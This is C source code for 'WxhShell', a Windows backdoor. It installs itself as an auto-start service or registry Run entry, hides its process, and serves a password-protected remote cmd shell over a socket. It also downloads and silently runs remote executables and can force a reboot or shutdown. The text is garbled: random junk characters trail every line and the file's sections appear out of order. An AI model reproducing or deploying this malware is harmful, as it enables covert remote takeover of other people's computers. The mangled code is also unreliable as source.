    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ptTp63+  
    else { BtKbX)R$J  
    closesocket(wsh); t ZA%^Y  
    ExitThread(0); [?F]S:/i  
    } 3$ BYfI3H  
    break; }z_7?dn/  
    } KOD%>+vG$  
  // 获取shell Wq*W+7=.  
  case 's': { FMAt6HfU  
    CmdShell(wsh); n#)kvr  
    closesocket(wsh); nY_+V{F  
    ExitThread(0); >\>!Q V1@  
    break; k E-+#p  
  } LS4E.Xdn  
  // 退出 u]Dds;~"b  
  case 'x': { B@,#,-=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]ru UX  
    CloseIt(wsh); * v u  
    break; ~ tqDh(  
    } 'h;x>r  
  // 离开 ]PZ\N~T  
  case 'q': { .q9i10C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F vHd `  
    closesocket(wsh); H)i%\7F5  
    WSACleanup(); PYW>  
    exit(1); i}Cy q  
    break; gv9z`[erS  
        } tCr? !Y~  
  } jUy$aGX  
  } ]f3R;d  
KJ8Qi+cZ  
  // 提示信息 r<-@.$lf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #l_hiD`;r  
} /` 4B-Y4M4  
  } k_7agW  
cy#N(S[ 1  
  return; yx/.4DW1Ua  
} 2R`}}4<Z  
s%t =*+L\  
// shell模块句柄 *gN)a%9  
int CmdShell(SOCKET sock) t`vIcCXqyl  
{ \m1jV>q  
STARTUPINFO si; ??=7pFm  
ZeroMemory(&si,sizeof(si)); oOHr~<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IsP!ZcV;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6#1:2ZHKG  
PROCESS_INFORMATION ProcessInfo; jW_FaPW(p  
char cmdline[]="cmd"; `rI[   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XnV$}T:?X  
  return 0; 3ypf_]<  
} (Kaunp5_`  
K"9V8x3Wg  
// 自身启动模式 y`-5/4  
int StartFromService(void) CFiO+p&  
{ I07_o"3>qr  
typedef struct )` 90*  
{ qn~:B7f  
  DWORD ExitStatus; 3dC ;B@  
  DWORD PebBaseAddress; =bB7$#al  
  DWORD AffinityMask; i{6wns?KMj  
  DWORD BasePriority; 1U~yu&  
  ULONG UniqueProcessId; R%^AW2   
  ULONG InheritedFromUniqueProcessId; f)!7/+9>  
}   PROCESS_BASIC_INFORMATION; Y!lc/[8  
J1{ucFa  
PROCNTQSIP NtQueryInformationProcess; {-)*.l=  
-87]$ ax  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $+@xwuY'+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [49Ae2W`  
~F=,)GE  
  HANDLE             hProcess; !x1ivP  
  PROCESS_BASIC_INFORMATION pbi; ]*JH~.p  
6i_dL|c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d]w%zo,yr  
  if(NULL == hInst ) return 0; }?XNA.Wz  
3eP7vy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6pY<,7t0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _=RK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?br4 wl  
uV+.(sjH  
  if (!NtQueryInformationProcess) return 0; 3Mt Alc0xp  
It3.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mY !LGN  
  if(!hProcess) return 0; <<.%Gk  
Q XV8][  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vQIN#;m4  
LX_{39?<{  
  CloseHandle(hProcess); ;(,1pi7|  
K5SP8<.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?^H1X-;  
if(hProcess==NULL) return 0; Jdp@3mP  
o:"^@3  
HMODULE hMod; k=):>}  
char procName[255]; ?sm@lDZ\  
unsigned long cbNeeded; S2*ER  
1I -LGe[Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +F3`?6UXz  
lc2RMu  
  CloseHandle(hProcess); FkJX)  
1xE*quhrh  
if(strstr(procName,"services")) return 1; // 以服务启动 8'6$t@oT9w  
Jh)K0>R  
  return 0; // 注册表启动 Ps_q\R  
} Z-B b,8  
K{x FhdW  
// 主模块 ~^R?HS  
int StartWxhshell(LPSTR lpCmdLine) U?d4 ^  
{ Y94/tjt  
  SOCKET wsl; &33.mdBH  
BOOL val=TRUE; nlkQ'XGAI  
  int port=0; eq#x~O4  
  struct sockaddr_in door; '{(/C?T  
xMAb=87_  
  if(wscfg.ws_autoins) Install(); cXo^.u  
auS.q5 %  
port=atoi(lpCmdLine); q=40  l  
1-bQ ( -  
if(port<=0) port=wscfg.ws_port; n%YG)5;  
1_z6O!rx  
  WSADATA data; ;c;n.o.)/#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5pI=K/-  
`Ufv,_n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2>bV+[@B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #RA3 T[A  
  door.sin_family = AF_INET; qTl/bFD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ud8*yB  
  door.sin_port = htons(port); ';hTGLq\X  
oz- k_9%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9?_ybO~Oq  
closesocket(wsl); OnKPD=<  
return 1; AZTn!hrU  
} _p`@/[(|  
s"solPw  
  if(listen(wsl,2) == INVALID_SOCKET) { )QvuoaJQ  
closesocket(wsl); G]- wN7G  
return 1; MlM2(/ok  
} f; "6I  
  Wxhshell(wsl); 4fCg{  
  WSACleanup(); -=A W. Z o  
;dh8|ujh  
return 0; \O7Vo<B&D  
"<J%@  
} 0u"/7OU  
VI (;8  
// 以NT服务方式启动 ]O;Hlty(g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8{GRrwQ>  
{ 23;e/Qr  
DWORD   status = 0; BOQeP/>  
  DWORD   specificError = 0xfffffff; _2,eS[wP  
<?I s~[2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P6E=*^^m(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +L$,jZqS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Kx;DmwX-  
  serviceStatus.dwWin32ExitCode     = 0; OJ'x>kE  
  serviceStatus.dwServiceSpecificExitCode = 0; oe5.tkc  
  serviceStatus.dwCheckPoint       = 0; h1 D#,  
  serviceStatus.dwWaitHint       = 0; aumXidb S  
o,sw[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T"GuE[?a  
  if (hServiceStatusHandle==0) return; /@H2m\vBX  
joN}N}U  
status = GetLastError(); Z{w{bf1&A  
  if (status!=NO_ERROR) "k${5wk#Fl  
{ [?$|   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Gkr^uXNg#  
    serviceStatus.dwCheckPoint       = 0; ?"aj&,q+  
    serviceStatus.dwWaitHint       = 0; ;^,2 QsM  
    serviceStatus.dwWin32ExitCode     = status; Y)@PGxjz  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]/+qM)F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u%7a&1c  
    return; h CLXL  
  } _uO#0 )l  
|@-%x.y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i~IQlyGr.  
  serviceStatus.dwCheckPoint       = 0; Iy}r'#N  
  serviceStatus.dwWaitHint       = 0; $DfaW3bJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J\%<.S>  
} V+dfV`*k  
Ur626}  
// 处理NT服务事件,比如:启动、停止 4R U1tWQ%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8O]U&A@  
{ :);]E-ch  
switch(fdwControl) NS l$5E  
{ 5g- apod  
case SERVICE_CONTROL_STOP: %}=$HwN)  
  serviceStatus.dwWin32ExitCode = 0; 1 ]@}+H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9 @yP;{Q  
  serviceStatus.dwCheckPoint   = 0; p 0.?R  
  serviceStatus.dwWaitHint     = 0; n(Up?_  
  { $l&&y?()  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~?}/L'q!b  
  } (/_Q r2KfC  
  return; P#H#@:/3  
case SERVICE_CONTROL_PAUSE: gKZ{O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r<oI4px  
  break; 1q!JpC^  
case SERVICE_CONTROL_CONTINUE: f=}Mr8W'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eh'mSf^=p  
  break; /S;o2\  
case SERVICE_CONTROL_INTERROGATE: vtFA#})~  
  break; oT5xe[{yj  
}; Ssu{Lj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TKc&yAK  
} ED/-,>[f  
tji,by#E/%  
// 标准应用程序主函数 !dLz ?0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mm=Y(G[_%y  
{ ucj)t7O   
%6 <Pt  
// 获取操作系统版本 O#7ldF(  
OsIsNt=GetOsVer(); 2t { Cpw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s8|#sHT  
A*pihBo7  
  // 从命令行安装 kXC.rgal  
  if(strpbrk(lpCmdLine,"iI")) Install(); bE>3D#V<  
ABV\:u  
  // 下载执行文件 ,l<-*yMD  
if(wscfg.ws_downexe) { z1+rz%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1#qCD["8  
  WinExec(wscfg.ws_filenam,SW_HIDE); LM'` U-/e$  
} +29;T0>a  
T , =ga  
if(!OsIsNt) { P&aH6*p1  
// 如果时win9x,隐藏进程并且设置为注册表启动 >*}qGk  
HideProc(); V8&/O)}o  
StartWxhshell(lpCmdLine); L1QQU  
} ]@J}f}Mjo  
else @` .u"@  
  if(StartFromService()) !BEOeq@2.  
  // 以服务方式启动 U>;itHW/  
  StartServiceCtrlDispatcher(DispatchTable); ?<frU ,{  
else T *t$   
  // 普通方式启动 -R'p^cMA  
  StartWxhshell(lpCmdLine); 7IJb$af:;  
3r em"M  
return 0; dr6 dK  
} Xy*X4JJh^  
\ b9,>  
na']{a 1K  
;(0:6P8I  
=========================================== `A <yDy  
Ux icqkX  
24N,Bo 3  
Dlj=$25  
N/?Ms rZw  
HHnabSn}{q  
" MF\n@lX  
jX&&@zMq  
#include <stdio.h> \wRr6-!_  
#include <string.h> \>=YxB q  
#include <windows.h> J#V `W&\,6  
#include <winsock2.h> w78Ius,  
#include <winsvc.h> lIjHd#q-C  
#include <urlmon.h> Aq'%a)Y2  
=cC]8Pz?  
#pragma comment (lib, "Ws2_32.lib") cn\& ;55v  
#pragma comment (lib, "urlmon.lib") f!$J_dz  
>qF KXzI  
#define MAX_USER   100 // 最大客户端连接数 sf*SxdoZU  
#define BUF_SOCK   200 // sock buffer [ !R%yD;  
#define KEY_BUFF   255 // 输入 buffer wCt+{Y3T  
,t+ATaOF  
#define REBOOT     0   // 重启 r3j8[&B"  
#define SHUTDOWN   1   // 关机 H9)uni   
Xi{(1o4%  
#define DEF_PORT   5000 // 监听端口 8&C(0H]1  
Jj6kZK  
#define REG_LEN     16   // 注册表键长度 hYd8}BvA  
#define SVC_LEN     80   // NT服务名长度 |16 :Zoq  
VvF&E>f C  
// 从dll定义API :ZP3$Dp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *Ra")(RnDK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n&C9f9S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zRJy3/>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5ZKnxEW,(  
E+1j3Q;  
// wxhshell配置信息 "tj#P  
struct WSCFG { #P9VX5Tg  
  int ws_port;         // 监听端口 !F<?he<U  
  char ws_passstr[REG_LEN]; // 口令 Awh"SU Oh0  
  int ws_autoins;       // 安装标记, 1=yes 0=no =h_gj >  
  char ws_regname[REG_LEN]; // 注册表键名 &\X;t|  
  char ws_svcname[REG_LEN]; // 服务名 zBs7]z!eP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W"-nzdAJ5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CXQ ?P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8S02 3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `2fuV]FW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E7h}0DX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wKeqR$  
"G,*Z0V5  
}; %@&)t?/=  
&V:dcJ^Q  
// default Wxhshell configuration ]czy8n$+  
struct WSCFG wscfg={DEF_PORT, )[K3p{4  
    "xuhuanlingzhe", nDOIE)#  
    1, oPbD9  
    "Wxhshell", rOD KM-7+  
    "Wxhshell", \fKE~61  
            "WxhShell Service", `P5"5N\h  
    "Wrsky Windows CmdShell Service", ; p_X7N  
    "Please Input Your Password: ", !xc7~D@om(  
  1, y^A $bTQq  
  "http://www.wrsky.com/wxhshell.exe", QLUe{@ivc  
  "Wxhshell.exe" $($SQZK&  
    }; 6'%]6"&M4  
e"CLhaT  
// 消息定义模块 +-nQ, fOV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }6bLukv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $ vjmW! O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $~YuS_sYg  
char *msg_ws_ext="\n\rExit."; c~'kW`sNV  
char *msg_ws_end="\n\rQuit."; @iRVY|t/  
char *msg_ws_boot="\n\rReboot..."; 1}uDgz^  
char *msg_ws_poff="\n\rShutdown..."; <di_2hN  
char *msg_ws_down="\n\rSave to "; +n,BD C;  
Xp~]kRm9  
char *msg_ws_err="\n\rErr!"; HxMsH5;  
char *msg_ws_ok="\n\rOK!"; Xdq, =;  
;9PM?Iy[  
char ExeFile[MAX_PATH]; vRq xZN  
int nUser = 0; DsX>xzM  
HANDLE handles[MAX_USER]; ZH(.| NaH  
int OsIsNt;  * [5  
tAA7  
SERVICE_STATUS       serviceStatus;  5q ,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cMl%)j-  
??m7xH5u1  
// 函数声明 ifs*-f  
int Install(void); =eqI]rVj^  
int Uninstall(void); g,:N zb  
int DownloadFile(char *sURL, SOCKET wsh); CP#79=1  
int Boot(int flag); eC$v0Gtq  
void HideProc(void); F&*M$@u5  
int GetOsVer(void); S0+zq<  
int Wxhshell(SOCKET wsl); OVyy}1Hx  
void TalkWithClient(void *cs); 88>Uu!M=f  
int CmdShell(SOCKET sock); Z~(XyaN  
int StartFromService(void); RNdnlD#P  
int StartWxhshell(LPSTR lpCmdLine); y2R=%EFh6  
re!8nuBsA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]CZLaID~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vVYduvw  
V8yX7yx  
// 数据结构和表定义 FZnH G;af  
SERVICE_TABLE_ENTRY DispatchTable[] = .NT&>X~.V  
{ zcKC5vqb  
{wscfg.ws_svcname, NTServiceMain}, ElXe=5L\#  
{NULL, NULL} 6 b}feEh$!  
}; >t2b?(h/x  
5Mr;6 ]I<  
// 自我安装 &%X Jf~IQ  
int Install(void) 3@] a#>  
{ \=7=>x_  
  char svExeFile[MAX_PATH]; 1[l>D1F?  
  HKEY key; IBkH+j  
  strcpy(svExeFile,ExeFile); HzV+g/8>A  
y.:-  
// 如果是win9x系统,修改注册表设为自启动 $-]setdY  
if(!OsIsNt) { ^,K.)s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8uxFXQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5{q/z^]  
  RegCloseKey(key); WdqK/s<jM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RuNH (>Eb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ennz/'  
  RegCloseKey(key); t4_K>Mj+d  
  return 0; (u&yb!`  
    } :WIf$P?X  
  } WWcm(q =  
} AtlR!I EUb  
else { _CJr6Evs  
%GbPrlu  
// 如果是NT以上系统,安装为系统服务 5vi#ItN}|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0juIkN#  
if (schSCManager!=0) )m8>w6"  
{ rp#*uV9;  
  SC_HANDLE schService = CreateService X&s\_jQ  
  ( a{HgIQg_>R  
  schSCManager, (eG]Cp@  
  wscfg.ws_svcname, -0SuREn  
  wscfg.ws_svcdisp, $pfe2(8  
  SERVICE_ALL_ACCESS, $Ds]\j*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8.Ef5-m  
  SERVICE_AUTO_START, ?gwbg*  
  SERVICE_ERROR_NORMAL, m=\eL~ h  
  svExeFile, ev%t5NZ  
  NULL, MD4 j~q\ g  
  NULL, 1IQOl  
  NULL, rg^\BUa-W,  
  NULL, 4VJzs$  
  NULL 2Lekckgv  
  ); 'lsq3!d.  
  if (schService!=0) e'Us(]ZO  
  { [y[v]'  
  CloseServiceHandle(schService); ^P g YP  
  CloseServiceHandle(schSCManager); @\`G & VB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qb> r\bc  
  strcat(svExeFile,wscfg.ws_svcname); T 0v@mXBQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sq(Ar(L<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E'S;4B5?  
  RegCloseKey(key); dU>R<jl!$  
  return 0; liw 9:@+V  
    } +'j*WVE%5  
  } OO\biYh o  
  CloseServiceHandle(schSCManager); p:<gFZb  
} JJ9e{~0 I  
} "8iiRzt#  
O"qa&3t%  
return 1; y8*@dRrq  
} D2%G.z  
/W$y"!^)J1  
// 自我卸载 bC4* w O  
int Uninstall(void) #1dTM-  
{ B%rr}Ro1e  
  HKEY key; H"GE\  
Sd$]b>b4O  
if(!OsIsNt) { 5f&{!N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { , HI%Xn  
  RegDeleteValue(key,wscfg.ws_regname); ym*#ZE`B!  
  RegCloseKey(key); Y0X94k.u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W[X!P)=w]  
  RegDeleteValue(key,wscfg.ws_regname); 5?{ >9j5  
  RegCloseKey(key); _l!U[{l*d  
  return 0; )-?uX.E{  
  } J%f=A1Q  
} },EUcVXk  
} y)^CDe2xU  
else { />^`*e_  
-=[o{r`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6 ,pZRc  
if (schSCManager!=0) oF b mz*  
{ 1Q&WoJLfR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t:"=]zUU  
  if (schService!=0) {`Fx~w;i  
  { G<u.+V  
  if(DeleteService(schService)!=0) { *VC4s`<  
  CloseServiceHandle(schService); ;TV'PJ  
  CloseServiceHandle(schSCManager); Z!RRe]"y  
  return 0; `YmI'  
  } Q0q)n=i }]  
  CloseServiceHandle(schService); )' x/q  
  } H&yFSz}6a  
  CloseServiceHandle(schSCManager); ~b$z\|Y  
} xL39>PB  
} OZC/+"\,  
!w#ru?L{  
return 1; ^tg6JB;s  
} d%_78nOh"  
lQ<#jxp  
// 从指定url下载文件 }OP%p/eY  
int DownloadFile(char *sURL, SOCKET wsh) qSC~^N`  
{ zN)|g  
  HRESULT hr; +1+A3  
char seps[]= "/"; yNqm]H3<MP  
char *token; DNm7z[ t{  
char *file; X$uz=)  
char myURL[MAX_PATH]; q]iKz%|Z/  
char myFILE[MAX_PATH]; %KJhtd"q  
@q{:Oc^  
strcpy(myURL,sURL); k{}[>))Q  
  token=strtok(myURL,seps); rtYb"-&  
  while(token!=NULL) ~E3SC@KL  
  { C:s^s  
    file=token; `hK>bHj  
  token=strtok(NULL,seps); =N*%f%  
  } `Dz]z_  
mHI4wS>()+  
GetCurrentDirectory(MAX_PATH,myFILE); D?\"  
strcat(myFILE, "\\"); k67i`f=  
strcat(myFILE, file); XMeL^|D  
  send(wsh,myFILE,strlen(myFILE),0); /]k ,,&  
send(wsh,"...",3,0); @;m@Luk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A4#3O5kij  
  if(hr==S_OK) mV**9-"  
return 0; -n=$[-w  
else "u Of~e"  
return 1; JI+KS  
^:cb $9F  
} wv7p,9Z[  
KB%j! ?  
// 系统电源模块 'XP>} m  
int Boot(int flag) +B`'P9Zk@  
{ z,}c?BP  
  HANDLE hToken; EDq$vB  
  TOKEN_PRIVILEGES tkp; tyn?o  
qL%.5OCn(  
  if(OsIsNt) { c#\ah}]Vo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r3[t<xlFf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r}_Lb.1]  
    tkp.PrivilegeCount = 1; ;l/}Or2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +K$5tT6b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XQ0#0<  
if(flag==REBOOT) { u5cVz_S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )tN?: l  
  return 0; qEK4I}Q-=  
} /`4v"f0V  
else { r&%gjqt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BGlGpl  
  return 0; Gs_*/E7,  
} Lo|NE[b:G  
  } ;Ch+X$m9  
  else { =2.tu*!C  
if(flag==REBOOT) { zJnL<Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )d770Xg+  
  return 0; ^Txu ~r0@  
} xUiWiOihr6  
else { t-*VsPy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "4Lg8qm  
  return 0; JAGi""3HG  
} 1AV1d%F  
} g{g`YvLu^  
3:]{(@J  
return 1; PZ  
} )XmCy"xx  
AkYupP2]v  
// win9x进程隐藏模块 G8 ^0 ^@o  
void HideProc(void) nV!2Dfd  
{ P3wU#qU  
 D rF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PtVo7zO ye  
  if ( hKernel != NULL ) 86;+r'3p.  
  { G*P[z'K=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ysSjc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fbh6Ls/  
    FreeLibrary(hKernel); olD@W UB  
  } vh9kwJyT  
b{~fVil$y  
return; %+AS0 JhB  
} T7>4 8eH  
ewb*?In  
// 获取操作系统版本 ntrY =Y  
int GetOsVer(void) 8Zcol$XS'  
{ =&di4'`  
  OSVERSIONINFO winfo; b34zhZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2x7(}+eD  
  GetVersionEx(&winfo); c&E*KfOG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bn0"M+7)f  
  return 1; /#-,R,Q  
  else o/tVcv  
  return 0; C-s>1\I  
} 3+CSQb8  
EpRXjz  
// 客户端句柄模块 /~H[= Pf  
int Wxhshell(SOCKET wsl) /[\6oa  
{ <u6c2!I{  
  SOCKET wsh; g8%MOhg  
  struct sockaddr_in client; e+NWmu{<_  
  DWORD myID; ?60>'Xj j  
,bB( 24LD  
  while(nUser<MAX_USER) Si#"Wn?|  
{ o\_ Td  
  int nSize=sizeof(client); %iK%$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pk$}%;@v  
  if(wsh==INVALID_SOCKET) return 1; W0VA'W  
D3<IuWeM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >}ro[x`K  
if(handles[nUser]==0) 9 b?i G  
  closesocket(wsh); =}~NRmmF  
else I["F+kt^^  
  nUser++; e(?:g@]-r  
  } T&o,I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BhqhyX\D&y  
sFbfFUd  
  return 0; $a`J(I  
} AyE%0KmraK  
pp/#Am  
// 关闭 socket 8# 6\+R  
void CloseIt(SOCKET wsh) ^36M0h|R  
{ VYL@RL'  
closesocket(wsh); 6P0y-%[Gk  
nUser--; c Dfx)sL  
ExitThread(0); LiiK3!^i  
} 4st~3,lR$  
t{+ M|Y  
// 客户端请求句柄 o)0C-yO0qf  
void TalkWithClient(void *cs) 77+| #< J  
{ /uK)rG F  
Bs_S.JP<`  
  SOCKET wsh=(SOCKET)cs; KjO-0VMN3  
  char pwd[SVC_LEN]; TcR=GR*cJ  
  char cmd[KEY_BUFF]; X7e>Z)l  
char chr[1]; qIB>6bv#x  
int i,j; x$~3$E  
U'rr?,RML  
  while (nUser < MAX_USER) { A|2 <A !  
Q}WL/X5  
if(wscfg.ws_passstr) { V]r hr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r %+Bc Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?lF mXZy`  
  //ZeroMemory(pwd,KEY_BUFF); \|v`l{  
      i=0; V@B7 P{gH  
  while(i<SVC_LEN) { `Ac:f5a  
+T-@5 v[  
  // 设置超时 YKc>6)j  
  fd_set FdRead; R78!x*U}  
  struct timeval TimeOut; 3 t/ R2M  
  FD_ZERO(&FdRead); 6hp{,8|D"m  
  FD_SET(wsh,&FdRead); I|H,)!Z  
  TimeOut.tv_sec=8; 9X!ET!  
  TimeOut.tv_usec=0; h8em\<;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [.{^"<Z<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a@Mq J=<L  
B,4q>KQA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b2G2c L-(  
  pwd=chr[0]; g4Y) Bz  
  if(chr[0]==0xd || chr[0]==0xa) { iOl%-Y  
  pwd=0; ' Q\@19  
  break; :*#rRQ>t  
  } ^)|&|  
  i++; +-U@0&Y3M  
    } h5x*NM1Ih  
{W-5:~?"  
  // 如果是非法用户,关闭 socket Dh2#$[/@1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3Hs$]nQ_X  
} kzMa+(fu  
YbzM6u2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R_7 6W&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S)+CTVVE  
tL1P<1j_  
while(1) { vuXS/ d  
HF]EU!OT  
  ZeroMemory(cmd,KEY_BUFF); p7s@%scp  
tzPC/?  
      // 自动支持客户端 telnet标准   )Ea8{m!   
  j=0; Hc M~  
  while(j<KEY_BUFF) { J6DnPaw-G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9MT? .q  
  cmd[j]=chr[0]; JfbKf~g  
  if(chr[0]==0xa || chr[0]==0xd) { L1rwIOgq^  
  cmd[j]=0; &&&9  
  break; z* RSMfRW  
  } >jv\Qh  
  j++; $.wA?`1aSk  
    } F,Q?s9s  
R'L?Xn}3  
  // 下载文件 {H+?z<BF<  
  if(strstr(cmd,"http://")) { J,RDTXqn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !I~C0u  
  if(DownloadFile(cmd,wsh)) n3'dLJH|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GYd]5`ri  
  else EA6t36|TX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +GYS26  
  } ujx@@N  
  else { \04mLIJr9  
|gW    
    switch(cmd[0]) { (|dPeix|  
  <~N%W#z/  
  // 帮助 Vg{Zv4+t  
  case '?': { C-Ig_Nc  
